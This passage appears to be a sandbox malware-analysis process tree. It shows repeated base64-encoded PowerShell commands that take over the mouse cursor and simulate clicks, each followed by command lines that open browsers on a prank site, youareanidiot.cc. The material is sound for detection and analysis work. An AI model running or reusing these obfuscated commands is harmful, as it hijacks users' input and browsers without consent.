      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where chrome
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4936
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:4876
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x130,0x134,0x138,0xd0,0x13c,0x7ffadbf0c728,0x7ffadbf0c734,0x7ffadbf0c740
        5⤵
        
        PID:5640
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4828
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6624
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6856
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6504
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        Checks processor information in registry
        
        PID:2324
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2860
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7096
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where chrome
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6568
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:5500
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x130,0x134,0x138,0x10c,0x13c,0x7ffadbf0c728,0x7ffadbf0c734,0x7ffadbf0c740
        5⤵
        
        PID:6908
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6500
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6852
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6260
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        Checks processor information in registry
        
        PID:6476
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:7148
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
